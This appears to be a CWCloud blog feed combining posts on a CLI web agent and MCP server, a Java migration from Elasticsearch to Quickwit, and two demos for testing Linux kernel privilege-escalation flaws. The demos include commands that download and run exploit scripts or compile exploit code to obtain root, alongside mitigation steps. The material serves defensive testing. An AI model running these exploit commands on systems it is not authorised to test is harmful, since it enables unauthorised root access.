Idriss Neumann

Dans notre précédent blogpost, nous avons expliqué comment utiliser la CLI cwc comme agent web et comment l'utiliser dans les fonctionnalités CWAI comme le chat ou le moteur FaaS.

Dans ce blogpost, nous allons voir comment utiliser la CLI cwc comme agent web en tant que webhook Gitlab déclenché par les commentaires d'issues et des mots-clés.

Commençons par configurer cwc avec les variables d'environnement suivantes :

• CWC_AGENT_NAME : le nom de l'agent qui sera utilisé comme déclencheur (ex. : cwc-prod pour être déclenché par des commentaires contenant !cwc-prod dans les issues Gitlab)
• CWC_GITLAB_TOKEN : un token Gitlab avec la permission de publier des commentaires sur les issues
• CWC_GITLAB_BASE_URL : l'URL de l'instance Gitlab (ex. : https://gitlab.cwcloud.tech)

Vous pouvez également utiliser la commande cwc configure comme ceci :

$ cwc configure set agent_name cwc-prod
$ cwc configure set gitlab_token <your_gitlab_token>
$ cwc configure set gitlab_base_url https://gitlab.cwcloud.tech

Ensuite, vous devrez configurer le webhook dans Gitlab comme ceci :

Comme vous pouvez le voir, nous avons configuré l'endpoint /gitlab et nous avons aussi défini un header Authorization attendu par notre reverse proxy pour server l'agent. Néammoins, l'agent web supporte aussi le webhook secret de Gitlab pour l'authentification (c'est optionnel, mais faites attention à bien configurer une authentification d'une manière ou d'une autre).

Et donc, voici ce que nous obtenons dans les issues Gitlab quand nous commentons !{agent name} :

En conclusion, les utilisateurs peuvent travailler et intervenir en production tout en restant dans le tableau central des tickets.

Dans notre blogpost précédent, nous avions présenté le serveur MCP et l'agent IA CWCloud. Nous avions expliqué comment nous avons implémenté le serveur MCP et comment l'utiliser avec un agent IA en mode CLI.

Dans cet article, nous allons voir cette fois comment utiliser cwc comme adaptateur web externe compatible avec l'API CWAI.

Tout d'abord, voici comment démarrer la CLI cwc en tant qu'agent web :

$ cwc ai web-agent

On peut aussi préciser le port et l'adresse d'écoute :

$ cwc ai web-agent -a 0.0.0.0 -p 8081 -s http://localhost:8080/mcp

Ensuite, on peut envoyer une requête HTTP POST à l'agent web comme ceci :

$ curl -X POST http://localhost:8081 -H "Content-Type: application/json" -d '{ "settings": { "max_tokens": 500 }, "message": "Hello"}'

L'agent web répondra ainsi (en respectant le contrat de l'adaptateur externe) :

{
  "status": "ok",
  "message": "Hello! How can I assist you today?",
  "usage": {
    "prompt_tokens": 8,
    "completion_tokens": 10,
    "total_tokens": 18
  }
}

Pour héberger la CLI comme serveur MCP et agent web en même temps, voici un exemple de fichier docker compose :

services:
  cwc_mcp:
    image: "rg.fr-par.scw.cloud/cwcloud-ce-u7u1q0/cwc:1.19.3"
    restart: always
    container_name: cwc_mcp
    env_file:
      - .env.cwc
    volumes:
      - "/etc/ssl/certs/ca-bundle.crt:/etc/ssl/certs/ca-bundle.crt:ro"
      - "/etc/ssl/certs/ca-bundle.trust.crt:/etc/ssl/certs/ca-bundle.trust.crt:ro"
    command: ["ai", "mcp", "-l", "0.0.0.0", "-p", "8080"]
    networks:
      - cwc_network
  cwc_agent:
    image: "rg.fr-par.scw.cloud/cwcloud-ce-u7u1q0/cwc:1.19.3"
    restart: always
    container_name: cwc_agent
    env_file:
      - .env.cwc
    volumes:
      - "/etc/ssl/certs/ca-bundle.crt:/etc/ssl/certs/ca-bundle.crt:ro"
      - "/etc/ssl/certs/ca-bundle.trust.crt:/etc/ssl/certs/ca-bundle.trust.crt:ro"
    command: ["ai", "web-agent", "-a", "0.0.0.0", "-p", "8081", "-s", "http://cwc_mcp:8080"]
    ports:
        - "8081:8081"
    networks:
      - cwc_network

networks:
  cwc_network:
    driver: bridge

Dans .env.cwc, vous pouvez définir toutes les variables d'environnement nécessaires pour la CLI cwc, comme la clé API et le modèle par défaut à utiliser. Vous pouvez vous référer à cette documentation pour plus de détails.

On peut ensuite ajouter l'agent web comme adaptateur externe :

Puis l'utiliser avec le chat de CWAI :

Et bien sûr, vous pourrez aussi l'utiliser dans le moteur FaaS comme ceci :

Et voilà comment utiliser l'agent web cwc comme adaptateur externe pour CWAI !

Vous vous demandez peut-être pourquoi nous parlons toujours de MCP¹ en 2026 alors que beaucoup de monde affirme que ce n'est plus utile parce que les agents IA peuvent facilement utiliser la CLI ce qui évite d'avoir à faire une double maintenance.

C'est la principale raison pour laquelle il nous a fallu si longtemps pour livrer un serveur MCP : nous maintenons déjà la CLI cwc² et ne voulions pas dupliquer le travail en maintenant à la fois une CLI et un serveur MCP.

Initialement, nous avions essayé de regrouper toutes les fonctionnalités de la CLI dans des packages Go qui pourraient être inclus dans le serveur MCP. Cependant, nous nous sommes vite rendu compte que c'était beaucoup de travail et nécessiterait de maintenir les deux artefacts à chaque fois que nous ajouterions une nouvelle fonctionnalité.

Après quelques tentatives, nous nous sommes rendu compte que nous pouvions générer dynamiquement le serveur MCP avec les définitions d'outils directement à partir de la CLI, qui est implémentée en Go et Cobra. De cette façon, nous pouvions calculer toutes les définitions d'outils à partir de la documentation de la CLI et générer le serveur MCP à la volée sans maintenir deux codebases séparés.

Encore mieux : les développeurs peuvent ajouter des sous-commandes et le serveur MCP les utilisera dynamiquement sans aucun travail supplémentaire.

Et voilà, cela fonctionne simplement en lançant cette sous-commande pour démarrer le serveur MCP :

$ cwc ai mcp
Starting cwc MCP server on http://127.0.0.1:8080/mcp

Evidemment, vous pouvez changer le port et l'adresse d'écoute comme ceci :

$ cwc ai mcp -p 8081 -l 0.0.0.0
Starting cwc MCP server on http://0.0.0.0:8081/mcp

Et nous avons un outil list_mcp_dynamic_tools qui liste tous les outils disponibles sur le serveur.

Maintenant vous vous demandez peut-être "OK, c'est bien, mais pourquoi devrais-je utiliser un serveur MCP au lieu de la CLI directement avec un agent ?". Selon nous, MCP et agents ne sont pas antinomiques et peuvent être utilisés ensemble. Nous pensons que fournir des outils MCP pour vos agents nécessite moins d'effort de votre côté qu'implémenter un agent qui appelle la CLI et en parse la sortie.

Bien entendu, nous fournissons maintenant aussi un moyen de créer des agents capables d'appeler le serveur MCP avec la commande cwc ai agent :

$ cwc ai agent -p "your prompt"

La commande fonctionne avec gpt4omini d'OpenAI par défaut mais supporte également tous les modèles d'OpenAI, Anthropic, Google Gemini, Deepseek ou OpenRouter (qui fournit les modèles open-source de Meta) :

$ cwc ai agent -p "your prompt" --provider openrouter --model "meta-llama/llama-3.3-70b-instruct"

Voici une démo sur comment utiliser le serveur MCP avec un agent pour lister les projets et les instances ainsi que les outils MCP disponibles :

Notes :

• Vous pouvez faire des demandes dans une autre langue, par exemple en Français, comme montré dans la démo.
• Vous devez exposer le serveur MCP dans un terminal séparé. Cela vous permet de cibler un serveur MCP distant en utilisant le drapeau -s (nous ajouterons l'authentification plus tard) :

  cwc ai agent -p "list me the projects" -s "http://127.0.0.1:8081/mcp"
  
• La documentation complète est disponible ici.

La cli fourni également un mode interactif/REPL³ pour l'agent qui permet d'exécuter plusieurs prompts dans la même session (avec le flag -i ou --interactive) :

$ cwc ai agent -i
Using model: gpt-4o-mini (provider: openai)
Interactive mode enabled. Type your prompt and press Enter.
Type 'exit' or 'quit' to leave.
> get me the monitors
> list me all the available MCP tools

Démonstration :

On ajoutera probablement bien d'autres fonctionnalités donc restez à l'écoute !

Après copyfail, voici une nouvelle vulnérabilité majeure découverte par Hyunwoo Kim (@v4bel) utilisant l'IA et connue sous le nom de "Dirty Frag" (CVE-2026-43284) qui permet à un utilisateur non root d'escalader ses privilèges et de devenir root.

Nous fournissons une démo que vous pouvez utiliser pour tester si votre système est vulnérable à ce problème.

Tester la vulnérabilité​

Sur une machine locale​

Avec les privilèges root, exécutez la commande suivante pour installer les dépendances nécessaires (si elles ne sont pas déjà installées) :

root# dnf install git gcc -y

Puis sans privilèges root, exécutez les commandes suivantes pour cloner le dépôt et compiler l'exploit :

$ git clone https://gitlab.cwcloud.tech/oss/cybersec/dirtyfrag.git
$ cd dirtyfrag
$ gcc -O0 -Wall -o dirtyfrag-demo demo.c
$ ./dirtyfrag-demo
root#

Vous pouvez également tester rapidement avec ce script :

$ curl https://gitlab.cwcloud.tech/oss/cybersec/dirtyfrag/-/raw/main/dirtyfrag-demo.sh > dirtyfrag-demo.sh
$ chmod +x dirtyfrag-demo.sh
$ ./dirtyfrag-demo.sh
root#

Démo avec AlmaLinux :

root# echo 3 > /proc/sys/vm/drop_caches

Avec docker compose​

Contrairement à CopyFail, cette faille ne semble pas affecter les conteneurs OCI/docker utilisant les images basées sur les principales distributions comme Ubuntu, Alpine ou même AlmaLinux. Vous pouvez le tester avec les commandes suivantes :

$ git clone https://gitlab.cwcloud.tech/oss/cybersec/dirtyfrag.git >/dev/null 2>&1
$ cd dirtyfrag/
$ docker compose up -d alpine --build --force-recreate > /dev/null 2>&1 && docker logs dirtyfrag-alpine
dirtyfrag: failed (rc=1)
$ docker compose up -d ubuntu --build --force-recreate > /dev/null 2>&1 && docker logs dirtyfrag-ubuntu
dirtyfrag: failed (rc=1)
$ docker compose up -d almalinux --build --force-recreate > /dev/null 2>&1 && docker logs dirtyfrag-almalinux
dirtyfrag: failed (rc=1)

Démo sur un hôte vulnérable :

Mitigation​

Afin de décharger les modules avec modprob, vous pouvez exécuter ce script avec les privilèges root :

root# curl https://gitlab.cwcloud.tech/oss/cybersec/dirtyfrag/-/raw/main/dirtyfrag-mitigation.sh > dirtyfrag-mitigation.sh
root# chmod +x dirtyfrag-mitigation.sh
root# ./dirtyfrag-mitigation.sh
root# /sbin/reboot

Conclusion​

Avec l'IA, nous pouvons nous attendre à ce que beaucoup de vulnérabilités de ce type soient découvertes dans le futur, et il est important de les surveiller et d'appliquer les mitigations nécessaires dès que possible vu leur criticité.

Dans ce cas, la mitigation est assez simple et ne nécessite pas de mise à jour du noyau, mais ce n'est pas le cas pour d'autres vulnérabilités (comme CopyFail).

Autres sources et références​

• 🇬🇧 Démo originale de V4bel sur Github

Récemment, Xint a divulgué une vulnérabilité très critique dans le noyau Linux, CVE-2026-31431, qui permet aux attaquants locaux d'obtenir des privilèges root. Plus de détails sur le fonctionnement de cette vulnérabilité peuvent être trouvés dans le blogpost de Xint.

Nous fournissons une démo que vous pouvez utiliser pour tester si votre système est vulnérable.

Tester la vulnérabilité​

Sur une machine locale​

Tout d'abord, assurez-vous de sauvegarder le binaire su sur votre système, car cet exploit peut le modifier :

root# cp /usr/bin/su /usr/bin/su.bak

Ensuite, avec un utilisateur non root, exécutez les commandes suivantes pour lancer le script d'exploitation :

user$ curl https://gitlab.cwcloud.tech/oss/cybersec/cve-2026-31431-demo/-/raw/main/cve-2026-31431.py > cve-2026-31431.py
user$ python3 cve-2026-31431.py
root#

Ensuite, restaurez le binaire su original :

root# mv /usr/bin/su.bak /usr/bin/su

Avec docker compose​

Il est souvent préférable d'utiliser des conteneurs pour une isolation plus sûre sans contaminer votre binaire su :

$ git clone https://gitlab.cwcloud.tech/oss/cybersec/cve-2026-31431-demo.git
$ cd cve-2026-31431-demo 
$ docker compose up -d --build --force-recreate
$ docker exec -it cve-2026-31431 /bin/bash
demo@8536b73279be:/app$ su -
#

Mitigation​

Xint a fourni un moyen de mitiger cette vulnérabilité pour plusieurs distributions, y compris Debian ou Ubuntu :

root# echo 3 > /proc/sys/vm/drop_caches
root# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
root# rmmod algif_aead 2>/dev/null || true

Cependant, en raison du 2>/dev/null || true, beaucoup de monde ne semble pas conscient que la mitigation ne fonctionne pas sur toutes les distributions, et en particulier sur les distributions basées sur RHEL (qui ont ce module compilé en tant que builtin dans le kernel), et manquent le message d'erreur suivant :

rmmod: ERROR: Module algif_aead module is builtin.

Voici une démonstration montrant que la mitigation ne fonctionne pas sur Almalinux :

Et malheureusement, toutes les mitigations pour ces distributions impliquent un redémarrage. Voici l'une des plus simples jusqu'à ce qu'un nouveau correctif du noyau soit publié :

root# grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
root# reboot

Voici une démonstration de la mitigation fonctionnant sur le même système Almalinux (après avoir restauré le binaire su original) :

Autres sources et références​

• 🇫🇷 Article de Korben
• 🇬🇧 Blogpost de Xint
• 🇬🇧 Exploit Copy.fail

Happy new year 2026 🎉 . Let's hope this year will be full of professional and personal success for everyone.

Twelve years ago, a long time before the creation of CWCloud, we launched uprodit.com, a social network dedicated to Tunisian freelancers.

The platform was developed in Java, using the Spring framework, Tomcat, and Vert.x later. One of our main ambitions was to build an intelligent search engine capable of leveraging the information users freely entered in their profiles. At the time, achieving this level of flexibility and relevance was extremely challenging with traditional relational databases RDBMS¹.

That's why it was my second experience with Elasticsearch in production (before the product focused on observability area) after few years with Apache SolR and it worked like a charm.

After the launch of CWCloud, uprodit migrated from physical servers to Scaleway instances using CWCloud. At the same time, we started modernizing the backend by adopting container-based architectures. However, the cost of maintaining an Elasticsearch cluster gradually became too expensive for the organization. Here was the technical architecture of the project at that time:

One year ago, we started working with Quickwit² and replaced our entire observability and monitoring stack with it. This included logs, traces, Prometheus metrics, and even web analytics.

Although Quickwit wasn't originally designed to serve as a web search engine, our experience with metrics and analytics showed that it could effectively meet our needs while significantly reducing infrastructure costs (because of the less amount of RAM consumption and the fact that the indexed data are stored on object storage).

As you may know, since we mentioned it in a previous blog post, Quickwit provides an _elastic endpoint that is interoperable with the Elasticsearch and OpenSearch APIs. The idea, therefore, was to replace Elasticsearch while keeping the existing Vert.x Java code with minimal changes, like this:

In other words, we wanted to keep the Elasticsearch client library to build the queries dynamically with the Elasticsearch DSL³. In this blog post, we'll detail the few key point to succeed the migration.

Keeping the Elasticsearch client library​

As we mentioned before we wanted to have the less code rewriting possible, so we choose to keep the Elasticsearch client library to benefit from the DSL builder. Here's the maven dependancy (in the pom.xml file):

<dependency>
    <groupId>co.elastic.clients</groupId>
    <artifactId>elasticsearch-java</artifactId>
    <version>9.2.4</version>
</dependency>

Creating the Quickwit client​

We created a IQuickwitService interface because we may have multiple implementations using other http client later:

package tn.prodit.network.se.utils.singleton.quickwit;

import io.vertx.core.json.JsonObject;

import java.io.Serializable;

public interface IQuickwitService {
  <T extends Serializable> void index(String index, String id, T document);

  <T extends Serializable> void delete(String index, String id);

  String search(String indeix, JsonObject query);
}

Then the default implementation using both Vert.x asynchronous http client for the write methods (index and delete) and default java http client for the search method.

import io.vertx.core.Vertx;
import io.vertx.core.http.HttpClient;
import io.vertx.core.http.HttpClientOptions;
import io.vertx.core.http.HttpClientResponse;
import io.vertx.core.http.HttpMethod;
import io.vertx.core.json.JsonObject;

import tn.prodit.network.se.utils.singleton.IPropertyReader;
import tn.prodit.network.se.utils.singleton.quickwit.IQuickwitService;
import tn.prodit.network.se.utils.singleton.quickwit.QuickwitTimeout;

import jakarta.inject.Inject;
import jakarta.inject.Singleton;

import java.net.URI;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.nio.charset.StandardCharsets;
import java.time.Duration;
import java.util.Arrays;
import java.util.Base64;

import static org.apache.commons.lang3.StringUtils.isBlank;

@Singleton
public class QuickwitService implements IQuickwitService {
  private static final Logger LOGGER = LogManager.getLogger(QuickwitService.class);

  @Inject
  private IPropertyReader reader;

  @Inject
  private Vertx vertx;

  private HttpClient client;

  private java.net.http.HttpClient syncClient;

  private String basicAuth;

  private QuickwitTimeout timeout;

  private String uri;

  private QuickwitTimeout getTimeout() {
    if (null == this.timeout) {
      this.timeout = QuickwitTimeout.load(reader);
    }

    return this.timeout;
  }

  public String getUri() {
    if (null == this.uri) {
      String host = reader.getQuietly(APP_CONFIG_FILE, QW_KEY_HOST);
      Integer port = reader.getIntQuietly(APP_CONFIG_FILE, QW_KEY_PORT);
      String scheme = reader.getBoolQuietly(APP_CONFIG_FILE, QW_KEY_TLS) ? "https" : "http";
      this.uri = String.format("%s://%s:%s", scheme, host, port);
    }
    return this.uri;
  }

  private java.net.http.HttpClient getSyncClient() {
    if (null == this.syncClient) {
      QuickwitTimeout timeout = getTimeout();
      this.syncClient = java.net.http.HttpClient.newBuilder()
          .connectTimeout(Duration.ofMillis(timeout.getConnectTimeout()))
          .followRedirects(java.net.http.HttpClient.Redirect.NORMAL).build();
    }
    return this.syncClient;
  }

  private HttpClient getClient() {
    if (null == this.client) {
      String host = reader.getQuietly(APP_CONFIG_FILE, QW_KEY_HOST);
      Integer port = reader.getIntQuietly(APP_CONFIG_FILE, QW_KEY_PORT);
      Boolean tls = reader.getBoolQuietly(APP_CONFIG_FILE, QW_KEY_TLS);
      QuickwitTimeout timeout = getTimeout();

      this.client = vertx.createHttpClient(new HttpClientOptions().setDefaultHost(host)
          .setDefaultPort(port).setSsl(tls).setConnectTimeout(timeout.getConnectTimeout())
          .setReadIdleTimeout(timeout.getReadTimeoutInSec()));
    }
    return this.client;
  }

  private String getBasicAuth() {
    if (isBlank(this.basicAuth)) {
      String user = reader.getQuietly(APP_CONFIG_FILE, QW_KEY_USER);
      String password = reader.getQuietly(APP_CONFIG_FILE, QW_KEY_PASSWORD);
      this.basicAuth = String.format("Basic %s", Base64.getEncoder().encodeToString(String.format("%s:%s", user, password).getBytes(StandardCharsets.UTF_8)));
    }

    return this.basicAuth;
  }

  @Override
  public <T extends Serializable> void index(String index, String id, T document) {
    String url = String.format("/api/v1/%s/ingest", index);
    getClient().request(HttpMethod.POST, url, ar -> {
      if (ar.failed()) {
        LOGGER.error("[quickwit][index] Request creation failure: " + ar.cause().getMessage(),
            ar.cause());
        return;
      }

      JsonObject payload = JsonObject.mapFrom(document);
      ar.result().putHeader("Content-Type", "application/json")
          .putHeader("Accept", "application/json").putHeader("Authorization", getBasicAuth())
          .send(payload.toBuffer(), resp -> {
            if (resp.failed()) {
              LOGGER.error("[quickwit][index] Request sending failure: " + ar.cause().getMessage(), ar.cause());
              return;
            }

            HttpClientResponse response = resp.result();
            response.bodyHandler(body -> {
              String logMessage = String.format("[quickwit][index] response url = %s, code = %s, body = %s, payload = %s", url, response.statusCode(), body.toString(), payload);
              if (response.statusCode() < 200 || response.statusCode() >= 400) {
                LOGGER.error(logMessage);
              } else {
                LOGGER.debug(logMessage);
              }
            });
          });
    });
  }

  @Override
  public <T extends Serializable> void delete(String index, String id) {
    String url = String.format("/api/v1/%s/delete-tasks", index);
    getClient().request(HttpMethod.POST, url, ar -> {
      if (ar.failed()) {
        LOGGER.error("[quickwit][delete] Request creation failure: " + ar.cause().getMessage(), ar.cause());
        return;
      }

      JsonObject payload = new JsonObject();
      payload.put("query", "id:" + id);
      payload.put("search_fields", Arrays.asList("id"));
      ar.result().putHeader("Content-Type", "application/json")
          .putHeader("Accept", "application/json").putHeader("Authorization", getBasicAuth())
          .send(payload.toBuffer(), resp -> {
            if (resp.failed()) {
              LOGGER.error("[quickwit][delete] Request sending failure: " + ar.cause().getMessage(), ar.cause());
              return;
            }

            HttpClientResponse response = resp.result();
            response.bodyHandler(body -> {
              String logMessage = String.format("[quickwit][delete] response url = %s, code = %s, body = %s, payload = %s", url, response.statusCode(), body.toString(), payload);

              if (response.statusCode() < 200 || response.statusCode() >= 400) {
                LOGGER.error(logMessage);
              } else {
                LOGGER.debug(logMessage);
              }
            });
          });
    });
  }

  @Override
  public String search(String index, JsonObject query) {
    String path = String.format("/api/v1/_elastic/%s/_search", index);
    HttpRequest request =
        HttpRequest.newBuilder().timeout(Duration.ofMillis(getTimeout().getReadTimeout()))
            .uri(URI.create(String.format("%s%s", getUri(), path)))
            .header("Content-Type", "application/json").header("Accept", "application/json")
            .header("Authorization", getBasicAuth())
            .POST(HttpRequest.BodyPublishers.ofString(query.toString())).build();
    try {
      HttpResponse<String> response =
          getSyncClient().send(request, HttpResponse.BodyHandlers.ofString());
      return response.body();
    } catch (IOException | InterruptedException e) {
      LOGGER.error(String.format("[quickwit][search] Unexpected exception e.type = %s, e.msg = %s",
          e.getClass().getSimpleName(),
          e.getMessage()));
      return null;
    }
  }
}

Adding an abstraction layer​

To make a smooth transition, we created two interfaces with an Elasticsearch implementation then replacing by a Quickwit implementation using dependancy injection⁴.

Indexing interface​

For the the writing part, here's the interface had two implementations (an Elasticsearch's one and a Quickwit's one).

import tn.prodit.network.se.indexation.adapter.IndexedDocAdapater;

import java.io.IOException;
import java.io.Serializable;

public interface IIndexer {
  <T extends Serializable> void index(IndexedDocAdapater<T> adapter, String id, T document) throws IOException;

  <T extends Serializable> void delete(IndexedDocAdapater<T> adapter, String id) throws IOException;
}

And here's the Quickwit implementation:

package tn.prodit.network.se.utils.singleton.indexer.impl;

import tn.prodit.network.se.indexation.adapter.IndexedDocAdapater;
import tn.prodit.network.se.pojo.IQuickwitSerializable;
import tn.prodit.network.se.utils.singleton.indexer.IIndexer;
import tn.prodit.network.se.utils.singleton.quickwit.IQuickwitService;

import jakarta.inject.Inject;
import jakarta.inject.Named;
import jakarta.inject.Singleton;

@Singleton
@Named("quickwitIndexer")
public class QuickwitIndexer implements IIndexer {
  @Inject
  private IQuickwitService quickwit;

  @Override
  public <T extends Serializable> void index(IndexedDocAdapater<T> adapter, String id, T document)
      throws IOException {
    quickwit.index(adapter.getIndexFullName(),
        id,
        document instanceof IQuickwitSerializable ? ((IQuickwitSerializable<?>) document).to()
            : document);
  }

  @Override
  public <T extends Serializable> void delete(IndexedDocAdapater<T> adapter, String id) throws IOException {
    quickwit.delete(adapter.getIndexFullName(), id);
  }
}

And the implementation using the quickwit client:

import tn.prodit.network.se.indexation.adapter.IndexedDocAdapater;
import tn.prodit.network.se.pojo.IQuickwitSerializable;
import tn.prodit.network.se.utils.singleton.indexer.IIndexer;
import tn.prodit.network.se.utils.singleton.quickwit.IQuickwitService;

import jakarta.inject.Inject;
import jakarta.inject.Named;
import jakarta.inject.Singleton;

@Singleton
@Named("quickwitIndexer")
public class QuickwitIndexer implements IIndexer {
  @Inject
  private IQuickwitService quickwit;

  @Override
  public <T extends Serializable> void index(IndexedDocAdapater<T> adapter, String id, T document)
      throws IOException {
    quickwit.index(adapter.getIndexFullName(),
        id,
        document instanceof IQuickwitSerializable ? ((IQuickwitSerializable<?>) document).to()
            : document);
  }

  @Override
  public <T extends Serializable> void delete(IndexedDocAdapater<T> adapter, String id)
      throws IOException {
    quickwit.delete(adapter.getIndexFullName(), id);
  }
}

You can observe that we introduced the IQuickwitSerializable interface for value objects (VO)⁵ because some types are not fully supported by Vert.x and therefore cannot be serialized directly. For example, lists of nested objects are not properly handled.

Let’s imagine we have a List<SkillVO> skills, which is a nested list of objects. To address this limitation, we had to duplicate the data in the index mapping using two array<text> fields: one containing only the searchable subfields (such as name), and another preserving the full object structure so it can be unmarshalled correctly and remain interoperable.

{
    "indexed": true,
    "fast": true,
    "name": "searchableSkills",
    "type": "array<text>",
    "tokenizer": "raw"
},
{
    "indexed": false,
    "name": "skills",
    "type": "array<text>"
}

Then, on the original VO class, we had to implement the to() method of the IQuickwitSerializable interface like this:

class PersonalProfileVO implements IQuickwitSerializable<QuickwitPersonalProfile> {
    private List<SkillVO> skills;

    public List<SkillVO> getSkills() {
        return this.skills;
    }

    public void setSkills(List<SkillVO> skills) {
        this.skills = skills;
    }

    @Override
    public QuickwitPersonalProfile to() {
      QuickwitPersonalProfile dest = new QuickwitPersonalProfile();

      if (null != this.getSkills()) {
        dest.setSkills(this.getSkills().stream().map(s -> JSONUtils.objectTojsonQuietly(s, SkillVO.class)).collect(Collectors.toList()));
        
        // we will perform the search query only on the name
        dest.setSearchableSkills(this.getSkills().stream().map(s -> s.getName()).collect(Collectors.toList()));
    }

    return dest;
  }
}

Then duplicate the VO class and implements the to() the other way arround:

class QuickwitPersonalProfile implements IQuickwitSerializable<PersonalProfileVO> {
  private List<String> skills;

  private List<String> searchableSkills;

  public List<String> getSkills() {
    return this.skills;
  }

  public void setSkills(List<String> skills) {
    this.skills = skills;
  }

  public List<String> getSearchableSkills() {
    return this.searchableSkills;
  }

  public void setSearchableSkills(List<String> searchableSkills) {
    this.searchableSkills = searchableSkills;
  }

  @Override
  public PersonalProfileVO to() {
    PersonalProfileVO dest = new PersonalProfileVO();

    if (null != this.getSkills()) {
      dest.setSkills(this.getSkills().stream().map(s -> JSONUtils.json2objectQuietly(s, SkillVO.class)).collect(Collectors.toList()));
    }

    return dest;
  }
}

Reading interface​

For the reading part, here's the interface which also had two implementations (an Elasticsearch's one and a Quickwit's one).

import co.elastic.clients.elasticsearch._types.SortOrder;
import co.elastic.clients.elasticsearch._types.query_dsl.BoolQuery;
import co.elastic.clients.elasticsearch.core.SearchRequest;
import co.elastic.clients.json.jackson.JacksonJsonpGenerator;
import co.elastic.clients.json.jackson.JacksonJsonpMapper;
import com.fasterxml.jackson.core.JsonFactory;
import jakarta.json.stream.JsonGenerator;
import tn.prodit.network.se.pojo.SearchResult;
import tn.prodit.network.se.pojo.fields.IFields;

public interface ISearcher {
  JacksonJsonpMapper mapper = new JacksonJsonpMapper();

  <T extends Serializable> SearchResult<T> search(String index,
                                                  BoolQuery query,
                                                  Optional<Sort> sort,
                                                  Integer startIndex,
                                                  Integer maxResults,
                                                  Class<T> clazz);

  <T extends IFields> SearchResult<String> search(String index,
                                                  List<String> fields,
                                                  List<String> criteria,
                                                  Integer startIndex,
                                                  Integer maxResults,
                                                  Class<T> clazz);

  static String toJson(SearchRequest request, JacksonJsonpMapper mapper) {
    JsonFactory factory = new JsonFactory();
    StringWriter jsonObjectWriter = new StringWriter();
    try {
      JsonGenerator generator = new JacksonJsonpGenerator(factory.createGenerator(jsonObjectWriter));
      request.serialize(generator, mapper);
      generator.close();
      return jsonObjectWriter.toString();
    } catch (IOException e) {
      return null;
    }
  }

  default JacksonJsonpMapper getMapper() {
    return mapper;
  }

  default String toJson(BoolQuery query) {
    return toJson(query, getMapper());
  }
}

Notes:

• you can override the default method getMapper() with an already instanciated mapper
• the toJson() method will allow the Quickwit implementation to transform the SearchRequest object into a String containing json that will be sent to the _elastic endpoint

Then, the implementation for Quickwit were pretty straight forward:

import co.elastic.clients.elasticsearch._types.query_dsl.BoolQuery;
import co.elastic.clients.elasticsearch.core.SearchRequest;
import io.vertx.core.json.JsonArray;
import io.vertx.core.json.JsonObject;

import tn.prodit.network.se.pojo.IQuickwitSerializable;
import tn.prodit.network.se.pojo.SearchResult;
import tn.prodit.network.se.pojo.fields.IFields;
import tn.prodit.network.se.utils.singleton.quickwit.IQuickwitService;
import tn.prodit.network.se.utils.singleton.searcher.ISearcher;
import tn.prodit.network.se.utils.singleton.searcher.Sort;

import jakarta.inject.Inject;
import jakarta.inject.Named;
import jakarta.inject.Singleton;

import static org.apache.commons.lang3.StringUtils.isBlank;
import static tn.prodit.network.se.utils.CommonUtils.initSearchResult;
import static tn.prodit.network.se.utils.JSONUtils.json2objectQuietly;

@Singleton
@Named("quickwitSearcher")
public class QuickwitSearcher implements ISearcher {
  private static final Logger LOGGER = LogManager.getLogger(QuickwitSearcher.class);

  @Inject
  private IQuickwitService quickwit;

  private JsonObject performSearch(String index,
                                   BoolQuery query,
                                   Optional<Sort> sort,
                                   Integer startIndex,
                                   Integer maxResults) {
    SearchRequest r = getSearchRequest(index, sort, startIndex, maxResults, query);
    JsonObject jsonQuery = new JsonObject(toJson(r));
    String quickwitResponse = quickwit.search(index, jsonQuery);

    if (isBlank(quickwitResponse)) {
      quickwitResponse = "{\"hits\": {\"hits\": []}}";
    }

    return new JsonObject(quickwitResponse);
  }

  @Override
  public <T extends Serializable> SearchResult<T> search(String index,
                                                         BoolQuery query,
                                                         Optional<Sort> sort,
                                                         Integer startIndex,
                                                         Integer maxResults,
                                                         Class<T> clazz) {
    SearchResult<T> result = initSearchResult(Long.valueOf(startIndex), Long.valueOf(maxResults));
    List<T> elems = new ArrayList<>();
    JsonObject quickwitResponse = performSearch(index, query, sort, startIndex, maxResults);
    JsonObject hits = quickwitResponse.getJsonObject("hits");
    if (null == hits) {
      return result;
    }

    JsonArray hits2 = hits.getJsonArray("hits");
    for (int i = 0; i < hits2.size(); i++) {
      if (IQuickwitSerializable.class.isAssignableFrom(clazz)) {
        JsonObject hit = hits2.getJsonObject(i);
        if (null == hit) {
          continue;
        }

        JsonObject source = hit.getJsonObject("_source");
        if (null == source || isBlank(source.toString())) {
          continue;
        }

        IQuickwitSerializable<?> obj = (IQuickwitSerializable<?>) json2objectQuietly(source.toString(), IQuickwitSerializable.getSerializationClazz(clazz));
        elems.add((T) obj.to());
      }
    }

    result.setResults(elems);
    result.setTotalResults(Long.valueOf(elems.size()));
    return result;
  }
}

Few difficulties to address​

Here are some of the challenges we encountered:

• Quickwit ain't replace documents by ID in case of updates, so queries must explicitly filter and select the most recent document version.
• Document deletion is not as immediate as in Elasticsearch, meaning deleted profiles may still appear in search results for a short period of time.
• Quickwit ain't support regex queries, which required us to rewrite those queries using term or match queries instead.

Conclusion​

Given the difficulties previously mentioned, it's understandable that many applications may argue that Quickwit ain't the best solution for this use case. However, in the context of uprodit, search result relevance ain't need to be perfect considering the significant infrastructure cost savings we achieved with this migration.

Ce blogpost va nous permettre d'illustrer un cas d'utilisation concret de l'utilisation du moteur FaaS¹ de CWCloud pour à la fois exposer des fonctions serverless comme webhooks publics et également montrer comment interagir avec des LLM².

En dehors de l'IT, j'aime pratiquer régulièrement certains sports, notamment la course à pied ou encore le powerlifting. Depuis un certain temps, j'utilise une Apple Watch SE pour récupérer les métriques et suivre la progression, entre autres au niveau de l'endurance et du cardio.

Pour un utilisateur "non-tech", le niveau de détail et de présentation des données au cours d'un exercice est très satisfaisant. Ici, vous avez par exemple le détail de ce qui se passe pendant une course : les positions GPS, le rythme cardiaque et les zones tout au long de l'exercice...

La montre donne également plein d'autres données sur la qualité du sommeil, le rythme cardiaque au repos, les calories dépensées... mais il y a toujours eu un souci qui me frustre, comparé à d'autres modèles que j'ai pu avoir par le passé comme les montres Fitbit : pas d'API et webservices pour les développeurs. Or, j'aurais bien voulu récupérer ces données pour pouvoir les traiter avec des LLM en passant par le moteur FaaS low-code de CWCloud.

